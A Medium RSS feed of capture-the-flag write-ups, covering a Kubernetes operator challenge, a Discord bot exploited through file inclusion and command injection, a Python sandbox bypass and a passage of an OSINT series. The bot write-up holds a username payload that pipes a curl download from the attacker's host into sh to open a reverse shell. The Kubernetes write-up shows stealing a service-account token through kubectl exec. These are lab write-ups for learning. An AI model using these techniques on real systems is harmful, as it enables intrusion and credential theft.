&quot;flagrequests&quot;<br><br>    flagprotector_plural = &quot;flagprotectors&quot;<br><br>    flag_kind = &quot;Flag&quot;<br>    flag_plural = &quot;flags&quot;<br><br><br>    # Load CRDs<br>    crds = client.CustomObjectsApi()<br><br>    while True:<br>        print(&quot;Watching for flagrequests...&quot;)<br>        stream = watch.Watch().stream(crds.list_namespaced_custom_object, group, version, &quot;default&quot;, flagrequest_plural)<br><br>        for event in stream:<br>            t = event[&quot;type&quot;]<br>            flagrequest = event[&quot;object&quot;]<br><br>            # Check if flagrequest was added<br>            if t == &quot;ADDED&quot;:<br><br>                # Check if flagrequest is valid<br>                accepted, error = check_flagrequest(flagrequest, crds, group, version, flagprotector_plural)<br>                id = uuid.uuid4()<br>                if accepted:<br>                    print(&quot;Flagrequest accepted, creating flag...&quot;)<br>                    # Create flag<br>                    crds.create_namespaced_custom_object(group, version, &quot;default&quot;, flag_plural, {<br>                        &quot;apiVersion&quot;: group + &quot;/&quot; + version,<br>                        &quot;kind&quot;: flag_kind,<br>                        &quot;metadata&quot;: {<br>                            &quot;name&quot;: &quot;flag&quot; + str(id)<br>                        },<br>                        &quot;spec&quot;: {<br>                            &quot;flag&quot;: read_flag(),<br>                            &quot;error&quot;: str(error),<br>                        }<br>                    })<br>                else:<br>                    print(&quot;Flagrequest invalid&quot;)<br>                    # Create flag error<br>                    crds.create_namespaced_custom_object(group, version, &quot;default&quot;, flag_plural, {<br>                        &quot;apiVersion&quot;: group + &quot;/&quot; + version,<br>                        &quot;kind&quot;: flag_kind,<br>                        &quot;metadata&quot;: {<br>                            &quot;name&quot;: &quot;flag&quot; + str(id)<br>                        },<br>                        &quot;spec&quot;: {<br>                            &quot;error&quot;: str(error),<br>                        }<br>                    })<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;Starting operator...&quot;)<br>    try:<br>        config.incluster_config.load_incluster_config()<br>    except:<br>        print(&quot;Failed to load incluster config&quot;)<br>        exit(1)<br>    main()</pre><p>Pour rappel un <strong>opérateur</strong> sur Kubernetes correspond a un <strong>contrôleur</strong> qui <strong>ajoute des nouveaux objets à l’API de Kubernetes</strong> (Custom Resource Definition).<br>Un contrôleur est un programme qui pilote le comportement de ressource sur Kubernetes. <br>Ici l’opérateur en python est en charge de l’ajout des ressources Flag, Flagrequest et Flagprotector à l’API de Kubernetes et de la gestion du comportement des Flag et Flagrequest.</p><p>On remarque alors que pour l’obtention du flag l’opérateur vérifie les différentes Flagrequest créées afin de s’assurer qu’elles respectent des conditions arbitraires.<br>Si les conditions sont remplies alors l’opérateur crée un Flag avec la valeur du secret qui comporte le flag du challenge. Ce Flag sera alors accessible à l’utilisateur.</p><p>Les conditions que la Flagrequest doit remplir sont :</p><ul><li>Un label qui a pour clé : <strong>hack.lu/challenge-name</strong></li><li>Un name qui a pour valeur : <strong>give-flag</strong></li><li>Une propriété <strong>anti-bruteforce</strong> dans l’objet<strong> spec </strong>avec pour valeur <strong>Bi$wmX4PBTQLGe%AIKPO19$ussap4w</strong></li></ul><p>Voici le YAML de définition d’une Flagrequest valide :</p><pre>kind: Flagrequest<br>apiVersion: ctf.fluxfingers.hack.lu/v1<br>metadata:<br>  name: give-flag<br>  labels:<br>    hack.lu/challenge-name: &#39;bat&#39;<br>spec:<br>  anti-bruteforce: Bi$wmX4PBTQLGe%AIKPO19$ussap4w</pre><p>Il y a cependant une condition supplémentaire qui ne concerne pas la Flagrequest : il ne doit y avoir aucun Flagprotector déployé sur le cluster.</p><p>On remarque rapidement la présence d’un Flagprotector sur le cluster :</p><pre>kubectl --kubeconfig config get Flagprotector -A</pre><pre>apiVersion: ctf.fluxfingers.hack.lu/v1<br>kind: Flagprotector<br>metadata:<br>  creationTimestamp: &quot;2023-10-15T09:55:04Z&quot;<br>  generation: 1<br>  name: flag-protection<br>  namespace: flagprotector<br>  resourceVersion: &quot;350&quot;<br>  uid: be24c244-5f66-4968-88b7-50c11cbfeb0f<br>spec:<br>  message: As long as I live, no one can create a flag!</pre><p>Et notre service-account n’a pas les droits pour le supprimer.</p><p>Cependant en listant les droits de notre utilisateur sur le namespace <strong>flagprotector</strong> on remarque la possibilité d’exécuter des commandes sur le pod <strong>flagprotector-controller</strong> : le contrôleur en charge des <strong>Flagprotector</strong>.</p><pre>kubectl --kubeconfig config auth can-i --list -n flagprotector</pre><p>Si on récupère le service-account de ce pod alors on devrait pouvoir supprimer le Flagprotector déployé car <strong>le contrôleur a besoin des droits sur la ressource qu’il contrôle</strong>.</p><p>On peut alors récupérer le service-account du contrôleur :</p><pre>kubectl --kubeconfig config exec -n flagprotector -it flagprotector-controller-7599f788dc-hzqgc -- cat /var/run/secrets/kubernetes.io/serviceaccount/token<br></pre><p>Et supprimer le Flagprotector déployé en utilisant le token récupéré sur le contrôleur :</p><pre>kubectl --kubeconfig config --token TOKEN delete flagprotector -n flagprotector flag-protection</pre><p>Enfin il ne reste plus qu’à appliquer notre Flagrequest et récupérer le Flag :</p><pre>kubectl --kubeconfig config apply flagrequest.yaml <br><br>kubectl --kubeconfig config get flag        <br>NAME                                       FLAG                                           ERROR<br>flag3a97433b-6a12-4d51-a1dc-c4a1306c5a39   flag{us1ng_0p3r4t0rs_c4n_b3_3v3n_m0r3_funny}   Good Job!</pre><p>Il ne reste plus qu’à valider le challenge ! 🥳</p><p>En conclusion, le challenge permet de mettre en évidence plusieurs points d’attention en terme de sécurité sur un cluster Kubernetes :</p><ul><li>l’utilisation de service-account avec trop de droits (get secret dockerconfigjson, exec sur le flagprotector-controller…)</li><li>la compréhension du fonctionnement d’un opérateur afin d’anticiper son comportement</li></ul><p>Contactez-moi :<br><a href="https://www.linkedin.com/in/anthony-domingue-930203162/">LinkedIn</a><br><a href="https://twitter.com/domingueanthony">Twitter</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d6b37da235f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sthack 2023 — Misc Write-up : Flowers bot]]></title>
            <link>https://lespireshat.medium.com/sthack-2023-misc-write-up-flowers-bot-b1e605d132b5?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1e605d132b5</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[discord]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Fri, 19 May 2023 08:12:13 GMT</pubDate>
            <atom:updated>2023-05-19T08:12:13.457Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sthack 2023 — Misc Write-up : Flowers bot</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/0*Cc_5AnDcdNMn996G.png" /></figure><p>During the night of Friday, May 12, 2023, the ctf of the <a href="https://sthack.fr/">Sthack</a> took place in the city hall of Bordeaux.</p><p>Our team finished 5th overall out of 29 teams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8PAynHWzcQDSqgTpeHOvg.png" /></figure><p>In this article, I will describe the steps that allowed me to solve the challenge, with a first blood on the second part of the challenge.</p><h4>Introduction</h4><p>Here is what we were given for step 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*UnEoBaXXT75uMve9.png" /><figcaption>Flowers Bot 1/2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*CGSKlAPNnD051JNLvcIomA.png" /><figcaption>Scoreboard of the challenge (1/2)</figcaption></figure><p>So, our main goal will be to get the content of the file ‘flag’ located on the server.</p><h4>Part 0. Recon</h4><p>After inviting the bot on the server, here is what it returns after having done “/flowers_help”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*wxcYFHSHvvQQzrbi0JdDGA.png" /><figcaption>/help</figcaption></figure><p>Here is a brief description of the commands :</p><blockquote>/flowers_help: Displays this manual.</blockquote><blockquote>/add_flower &lt;IMAGE&gt; &lt;NAME&gt;: Adds the IMAGE under the name NAME to your personal library.</blockquote><blockquote>/get_flower &lt;NAME&gt;: Displays one of the most beautiful flowers from your personal library.</blockquote><blockquote>/beautiful_flower: Returns one of the most beautiful flower images in stock.</blockquote><blockquote>/asian_flower: Displays an Asian flower.</blockquote><blockquote>/flowerize &lt;IMG&gt;: Adds one of our flowery banners to the chosen image IMG.</blockquote><p>The main features we are going to use are :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*RGUHEOJyOzxZTW4RWtO6DQ.png" /><figcaption>/add_flowers</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*X0JYsongBZNisYKeQ0gpGg.png" /><figcaption>/get_flowers</figcaption></figure><h4>Part 1 : Local File Inclusion, First flag</h4><p>So, since we have the possibility to recover our files (our flowers) let’s try to recover a file present on the server, /etc/passwd for example :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*tq2NU7uOmVAraQJXZ3bHFA.png" /><figcaption>PoC of the LFI</figcaption></figure><p>Hop, and the file is sent to us :)</p><p>So now, it’s time to find the flag. After some time researching where it can be, we found that this is the path : ../../flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*WblwqZKmghiATedA3BF8LA.png" /><figcaption>Flag 1/2</figcaption></figure><pre>STHACK{simpleLFIoldButStillGold}</pre><h4>Part 2: RCE and second flag</h4><h4>Part 2.1 : Getting the shell</h4><p>So now let’s see what the statement tells us for the rest of the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*Z-if0TP3E1nUBPag2Am4Fg.png" /><figcaption>Scoreboard of the challenge 2/2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/0*3lJSLXlQunNx12o3.png" /><figcaption>Flowers bot 2/2</figcaption></figure><p>Its the same as the first flag, no indications.</p><p>After some time wondering what we should do, we decided to get all the source code of the bot :)</p><p>To do so, we have used /proc/self/cwd path to be in the <strong>C</strong>urrent <strong>W</strong>orking <strong>D</strong>irectory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*trJjDWuRzfhfrygoX1XV9Q.png" /><figcaption>the main.py code</figcaption></figure><p>So now, lets grab all the code. We will need to get all the functions from the import.</p><p>My first thought was very simple, since this is the line of the import</p><pre>from inventory import add_flower, get_flower</pre><p>I knew that there was a directory named ‘inventory’ and I tried to get the files like this : ../../../../proc/self/cwd/inventory/add_flower.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*1Ewn5e6cdEad4Ym-RNcOxg.png" /><figcaption>The file does not exists</figcaption></figure><p>So, in python, when you import functions locally from another directory, it will create a file named __init__.py which contains the name of the files where the functions are created (cf : <a href="https://www.w3docs.com/snippets/python/what-is-init-py-for.html#:~:text=__init__.py%20is,using%20%22dotted%20module%20names%22.">source</a>)</p><p>Lets grab the __init__.py file located in the ‘inventory’ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*f-mYVznXBGvDBCvpFkidfw.png" /><figcaption>getting __init__.py</figcaption></figure><p>After getting this file, why know that the real filename of the function is addflower.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHeAObq2EFsUMa1Z9iG6jA.png" /><figcaption>getting addflower.py</figcaption></figure><p>After getting all the code, this is what we have :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*NDKND_bhYrKRPn1MXgsE6w.png" /><figcaption>All the bot’s code !</figcaption></figure><p>Lets see what we have in the code :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*dmvnUxXxAFWyIfarlj-Dlw.png" /><figcaption>The exploitable part of the code</figcaption></figure><p>In the file addflower.py, line 27, we see that if the user does not exist, it will call a function named ‘create_user_dir’.<br>When I said that the user do not exist, it’s based on the discord username.</p><p>Lets try to get the function code !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*dXiHKXcXFgLc4-K6BhSUkw.png" /><figcaption>create_user_dir.py</figcaption></figure><p>The functions is created in utils/create_user_dir.py which basically call a .sh script with a username.</p><p>Using the LFI we are able to get the .sh script !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*uMKO-yACTK7Jhioxzl2KiA.png" /><figcaption>The LFI response to get the .sh script</figcaption></figure><p>The code is too long to copy paste it, so I will focus on the part that interest us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uv0WVfay5xHt-LBC2byW-A.png" /><figcaption>create_user_dir.sh</figcaption></figure><blockquote>PS : The varible ${given_name} is $1 (so the discord username)</blockquote><blockquote>PS2 : The function path_sanitize just check that there is no ‘.’ or ‘/’ in the username</blockquote><p>So as you can see, if I enter in the else line 65, I will trigger the mkdir function line 68.</p><p>The exploit here is to <strong>use the format string in python code to execute an arbitrary command on the server</strong>.</p><p>In bash there are<strong> several ways</strong> to execute several commands in one line, with ; | and &amp;&amp;<br>For example, id ; pwd will display your id and the path you are currently in.</p><p>In our case, I will use a <strong>2 step payload</strong> :</p><p>Create a file on my server that i will expose on the port 80.<br>In this file, I will put a reverse shell that bind the connection on the port 1337.</p><p>If anyone curl my ip with a ‘|’ sh, it will trigger a reverse shell on their machine.</p><p>To make this on the server, <strong>my discord username need to be something like this :</strong><br>a;curl &lt;ip&gt;/a | sh</p><blockquote>-&gt; The server will see that the user ‘a’ do not exist and will proceed to do the mkdir function. Evrything that is passed after the ; will be executed on the server.</blockquote><p>Here is my setup :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9qNbv5zic0aRXNZREoNhXQ.png" /><figcaption>Listening for the reverse shell</figcaption></figure><p>Lets rename myself and upload a new picture :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*DSc7yPRhtWua-Zazea48Vw.png" /><figcaption>Crash of the bot that indicates that we triggered some execution after the ;</figcaption></figure><p>And there is our shell :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-O_qF9KV7e38kgQ0J23kew.png" /><figcaption>Reverse shell after the exploit</figcaption></figure><h4>Part 2.2 : Getting the flag</h4><p>To get the second flag, I’ve read the docker compose file, here is what i’ve found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*XBvVhPes6XbDRYU2L0tlRw.png" /><figcaption>docker-compose.yml</figcaption></figure><p>The redis container is quite strange but then I know that it was to store the flowers, lets enum the key inside of it with this one liner :</p><pre>python3 -c &#39;from redis import Redis; r = Redis(&quot;flowers-bot-db&quot;); print(&quot;\n&quot;.join([key.decode() for key in r.scan_iter()]))&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7U04ZqCUoYxg3VRcApyfg.png" /><figcaption>Redis key enumeration</figcaption></figure><p>We see a “flag” key 😮</p><p>Here is the command we will use to get it !</p><pre>python3 -c &#39;from redis import Redis; r = Redis(&quot;redis&quot;);print(r.get(&quot;flag&quot;))&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2IgblFYqh4NYPR0sY20jw.png" /><figcaption>Final flag 2/2</figcaption></figure><pre>STHACK{bashIsOftenBrokenBeCarefulWithShellscripts}</pre><p>Et voila !</p><h4>Conclusion</h4><p>This challenge will have taken us a lot of time but will have been worth it because we learned a lot of things!</p><p>Thanks @<a href="https://twitter.com/GammrayW">Gamray</a> for the help</p><p>Thanks again to the Sthack for the conferences, the ctf, the organization, everything :)</p><p>Thanks also to @<a href="https://gitlab.com/it4lik">it4</a> for the challenge.</p><h4>Bonus</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/252/1*IpJ_qAO0wkPxMdWzEPbueg.png" /><figcaption>We need some test :)</figcaption></figure><p><em>Contact :<br></em><a href="https://www.linkedin.com/in/adrien-zoghbi/"><em>Author</em></a><em> : Adrien Zoghbi<br></em><a href="https://twitter.com/LesPiresHat"><em>Twitter of the team</em></a><em> : LesPiresHat</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1e605d132b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PwnMe CTF 2023 — Pwn Unintended Write-Up : CPython101]]></title>
            <link>https://lespireshat.medium.com/pwnme-ctf-2023-pwn-unintended-write-up-cpython101-74161e3eaae9?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/74161e3eaae9</guid>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Wed, 10 May 2023 13:48:05 GMT</pubDate>
            <atom:updated>2023-05-10T14:33:12.868Z</atom:updated>
            <content:encoded><![CDATA[<h3>PwnMe CTF 2023 — Pwn Unintended Write-Up : CPython101</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/1*MMVVrlHuDKP4eTc9eXefiA.png" /></figure><p>From May 5th to 7th the second edition of the <strong>PWNME CTF </strong>was held<strong>. </strong>Our team participated in the student category.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*y-9iUnP0LS-Axv6MqCfmUw.png" /></figure><p>For this write-up, I will explain how I was able to bypass the intended way to flag the <strong>Pwn CPython101</strong> challenge.</p><h3><strong>CPython101</strong></h3><pre>What if you could do memory corruption in Python ? Well this is an opportunity for you to discover that !<br>Find a way to read the flag on the remote service.<br>**Note**:<br>- *This challenge is not a pyjail, mesures have been taken to block unintented way. If you find a bypass to the challenge please report to the challenge maker :)*<br>- *You must spawn an instance for this challenge. You can connect to it with netcat: nc 51.254.39.184 1338*<br>Author: Express#8049</pre><h3><strong>Analysis</strong></h3><p>The challenge gave us an archive that contains a Dockerfile and the vulnerable pwnme.so library, which is a Python module written in C. There is also a wrapper that takes our Python code and places it into a file that will be executed later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*OFFHbPvXcUZ_zEn9Xs4hyw.png" /></figure><p>The LD_PRELOAD environment variable is set to hook.so library. In short, all functions present in this library are used instead of the ones in the dynamically linked library. This also affects child processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*PP1VrRL9y1kC1IiVijun8A.png" /></figure><p>After the first analysis, we can see that the challenge seems not too easy. The number of solves tells us that it will be an advanced exploitation. But! We see that maybe some teams have already bypassed the environment to flag this challenge. So, if the environment seems permissive, why can’t I bypass it too? With my experience, I know that it’s really difficult to set up a safe environment for a Python challenge. So, let’s go find an unintended solution.</p><h3><strong>Read the flag</strong></h3><p>First, we need to find where the flag is stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*DznC1QMVP7_boatP3xKRbw.png" /></figure><p>Great! We are in the directory where the flag is. Let’s try to directly read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*ZLUgulnq68RcKQB76wp_5w.png" /></figure><p>Hmm, subprocess is not present. The ctypes library is removed when the Dockerfile is processed, which is certainly the root cause.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*ao0gtPJR26RkfFmjT19Chw.png" /></figure><p>Let’s try a different approach, this time only with Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*9A2dhvZO9YtG81Ity-60-w.png" /></figure><p>Okay! I am sure that this is not the content of flag.txt. This string is for sure an output of the hook.so.</p><h3><strong>hook.so analysis</strong></h3><p>I think for a minute, if we can’t read the flag, then it’s certainly not possible to read hook.so? WRONG! We can get the content of the library to analyze it locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*EGMciQfT1ChUlFB2FpPFeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*vcqBsg7n_ngHSSdV98JgVg.jpeg" /></figure><p>We can import it into Ghidra to know what we are facing. We see rapidly that a hook exists for each function of the libc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*hnDRoEc5j8YTmwk3JIdywg.png" /></figure><p>After a little research, we see that they have thought about all the functions that can open a file (<em>cf: </em><a href="https://www.gnu.org/software/libc/manual/html_node/Opening-and-Closing-Files.html"><em>https://www.gnu.org/software/libc/manual/html_node/Opening-and-Closing-Files.html</em></a>).</p><p>That’s not good for us. Moreover, there is a function that checks that the arguments passed to functions that could open a file do not contain the string “flag.txt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*pysNH5d4414lLyOt9Y3Nfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*GkXMutLe7mTXOqPRhw3nrg.png" /></figure><p>Good for us, we see the error messages previously seen. Now, we know that the problem comes from this library.</p><h3><strong>Bypass ?</strong></h3><p>Nice or not, there are some hooks. Maybe we can execute assembly code and do some syscalls without being restricted?</p><p>But it’s impossible to execute a binary because the execve function is hooked. How can we do it then?</p><p>Previously, we saw that the challenge maker created a Python module written in C. If we do the same, we can add assembly code inside and import it into our Python script.</p><h3><strong>Assembly</strong></h3><p>We first start by creating an assembly code that does a syscall on open, read, and write to read the flag.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*81Ui6foZTuKGwErG8n0zsQ.png" /></figure><p>Before going further, we check our code locally to make sure that it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*tLwg85OHTbQmb_fU-7QECQ.png" /></figure><p>We’re good! The most difficult step is over. We now need to create a Python module that contains the assembly code.</p><p>We start by getting assembly instructions in AT&amp;T format.</p><p>The asm function doesn’t work with Intel format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*OgUlvZVPzkyBnC6nYQGocw.png" /></figure><p>There are multiple resources on the internet to create a simple module in Python. I personally used this one: <a href="https://github.com/starnight/python-c-extension">https://github.com/starnight/python-c-extension</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*1A-Ng_JkbxSRms8gx6bjJQ.png" /></figure><p>After compiling, we check again that the code is working locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0UJOfGRPMki47kLGoIaiyA.png" /></figure><p>Nice, that works!</p><h3><strong>Remote exploit</strong></h3><p>With all these elements, the last step is to build the exploit. When I first exploited it, I wrote my library inside the /tmp directory because it is inside the sys.path. However, when I rechecked it later, I found out that it was no longer possible to write inside the /tmp directory.</p><p>But that’s not a problem since /var/tmp works well. We just need to add this path to the sys.path variable in our final exploit. So we divided our exploit into two parts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*M9I9gwwTl6C948p4mAQkdQ.png" /></figure><p>First, we added /var/tmp to the sys.path variable. Then we converted our library to hexadecimal and wrote it to the /var/tmp/athr.so file. The input() function gave us the possibility to bypass the maximum size limit of the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*w9Yj-5P_1WSf1IifCN5WRg.png" /></figure><p>Finally, we imported our module and called the function containing the assembly code.</p><h3><strong>Flag</strong></h3><p>And voila, we got the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gTB2UeUBEtC08pf5OEuOQ.png" /></figure><p>In my opinion, the unintended solution was super cool and it deserves to be a challenge. Thank you to the 2600 students who organised this CTF!</p><p><em>Contact :<br></em><a href="https://keyzen.net/"><em>My website</em></a><em><br></em><a href="https://twitter.com/LesPiresHat"><em>Twitter of the team</em></a><em> : LesPiresHat</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74161e3eaae9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breizh CTF 2023 — OSINT Write-up : Yakuza]]></title>
            <link>https://lespireshat.medium.com/breizh-ctf-2023-osint-write-up-yakuza-1e6228c9db9f?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e6228c9db9f</guid>
            <category><![CDATA[breizh]]></category>
            <category><![CDATA[les-pires-hat]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Sat, 18 Mar 2023 16:22:19 GMT</pubDate>
            <atom:updated>2023-03-19T09:05:53.941Z</atom:updated>
            <content:encoded><![CDATA[<h3>Breizh CTF 2023 — OSINT Write-up : Yakuza</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*9UHlzX4RNLSYF0akSd2cjA.png" /></figure><p>Dans la nuit du 17 au 18 mars 2023, s’est déroulé le <strong>Breizh CTF 2023</strong>, rassemblant au Couvent des Jacobins à Rennes, <strong>plus de 600 passionnés venus de toute la France.</strong> Notre équipe a fini 14ème au classement général sur 118 équipes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*2Ff78lvpAELspteG4dcAoQ.png" /></figure><p>Pour ce write-up, je vous expliquerai comment j’ai pu résoudre la série de challenges “Yakuza” de la catégorie <strong>OSINT</strong> du CTF.</p><h3>Yakuza (1/5) — Nihon he yōkoso</h3><p>Nous débutons avec cet énoncé</p><pre>Oh tiens, je viens de recevoir un message. À cette heure-là ? Sur mon tél pro ? C&#39;est étrange. Il faut que je l&#39;ouvre sans plus tarder. Moi qui pensais pouvoir me détendre au BreizhCTF avec une bonne galette saucisse, me voilà de nouveau sur une enquête...<br><br>&quot;Bonsoir Conan,<br><br>J&#39;espère que votre séjour à Rennes se passe pour le mieux. Malheureusement, nous devons l&#39;interrompre. Nous vous sollicitons exceptionnellement cette nuit dans le cadre de la mission d&#39;investigation YKZ_001. Comme vous le savez, nous traquions il y a plusieurs mois un groupe de yakuzas suite à la compromission de nature lucrative d&#39;un OIV. Cependant, ils n&#39;ont laissé presque aucune trace depuis ce jour.<br><br>Ce n&#39;est qu&#39;il y a quelques minutes que nous avons intercepté un message du groupe à propos de leur prochaine attaque. Par chance, il contient une signature. Celle-ci se compose d&#39;une suite de caractères en japonais : &quot;土方剛史&quot;.<br><br>Nous sommes certains qu&#39;avec cette information, vous serez à même de retrouver l&#39;un des acteurs de ce groupe.<br><br>Nous comptons sur votre expertise pour mener à bien cette enquête. N&#39;oubliez pas que chaque détail compte. Collectez, notez et recoupez les informations, c&#39;est essentiel à la réussite de toute mission. Vous ne disposez que de quelques heures pour retrouver l&#39;individu et aider à découvrir leur prochaine cible.<br><br>Bonne chance</pre><p>On comprend ici qu’on va devoir se concentrer sur l’indice <strong>土方剛史</strong></p><p>Je commence par chercher ce que signifie ce terme étant donné que je ne parle pas japonais. Pour ceci, j’utilise <a href="https://www.deepl.com/fr/translator">DeepL</a> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*EprZuy2Ej1BlBSYRVDNyhg.png" /></figure><p>Cela nous permet ainsi de sortir un nom/prénom, <strong>Takeshi Hijikata</strong>, qui va nous permettre de commencer notre <strong>phase de reconnaissance</strong> pour trouver sur <strong>quels réseaux sociaux est exposée cette personne</strong>.</p><p>Un compte <strong>Twitter</strong> sort alors rapidement du lot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*xJyh_65Y6yNzhOCrgW6WmQ.png" /><figcaption><a href="https://twitter.com/HijikataTakeshi">https://twitter.com/HijikataTakeshi</a></figcaption></figure><p>Une série de tweets semble donner des <strong>indices</strong> pour nous aider à avancer.</p><p>On trouve notamment ces 2 tweets :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*LFA-tfZCBwo8mgGGEWonBA.png" /></figure><p>Ils nous permettent d’apprendre que <strong>Takeshi n’utilise pas Twitter,</strong> mais est beaucoup plus actif sur un <strong>autre réseau social</strong>, <strong>très populaire au Japon</strong>, et qu’il a là-bas le <strong>même nom d’utilisateur</strong> (<em>HijikataTakeshi</em>).</p><p>Ne connaissant pas très bien la culture japonaise, je demande à mon collègue <a href="https://chat.openai.com/chat">ChatGPT</a> de m’aider à trouver ce fameux réseau social.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*kSpBwsX6wT1DdYl8ek6TgQ.png" /></figure><p>On sait maintenant qu’il va falloir pivoter sur <strong>Line. </strong>Pour ceci, je dois <strong>passer sur mon téléphone et créer un compte</strong>.</p><p>Je l’ajoute donc et regarde son profil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*rlyaDkK-pzqKZeCJ1tmrkQ.png" /></figure><p>Sa photo de couverture mène à un lien <a href="https://line.me/R/ti/g/XIJ-Uvtc-r">https://line.me/R/ti/g/XIJ-Uvtc-r</a>, permettant de <strong>rejoindre le groupe de chat</strong> de Takeshi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*aEQ2l9F-7jFBNWvSceALwQ.png" /></figure><p>En investiguant sur les différentes parties de Line, on découvre la partie “<strong>Notes</strong>” où Takeshi a posté plusieurs informations qui vont être <strong>cruciales</strong> pour la suite de l’enquête.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*bVGMrP20NGZbkX99CEJXJQ.png" /></figure><p>En scrollant les publications, on trouve alors le premier flag</p><p><strong>BZH{L1N3_1s_v3ry_f4m0us_1n_J4p4n}</strong></p><h3>Yakuza (2/5) — Tebori</h3><pre>Parfait, j&#39;ai réussi à retrouver l&#39;individu en question et à rejoindre son groupe d&#39;amis. Le moins qu&#39;on puisse dire, c&#39;est que c&#39;est une vraie mine d&#39;or en terme d&#39;informations. Cependant, rien ne le rattache à ce groupe de yakuza... Mais une note m&#39;interpelle tout de même. Dans celle-ci, il parle visiblement d&#39;un magasin de tatouages et de &quot;Kamon Tomoe&quot;.<br><br>Je sens qu&#39;il y a quelque chose à creuser de ce côté-là.<br><br>En-tout-cas, il faut que je continue avant 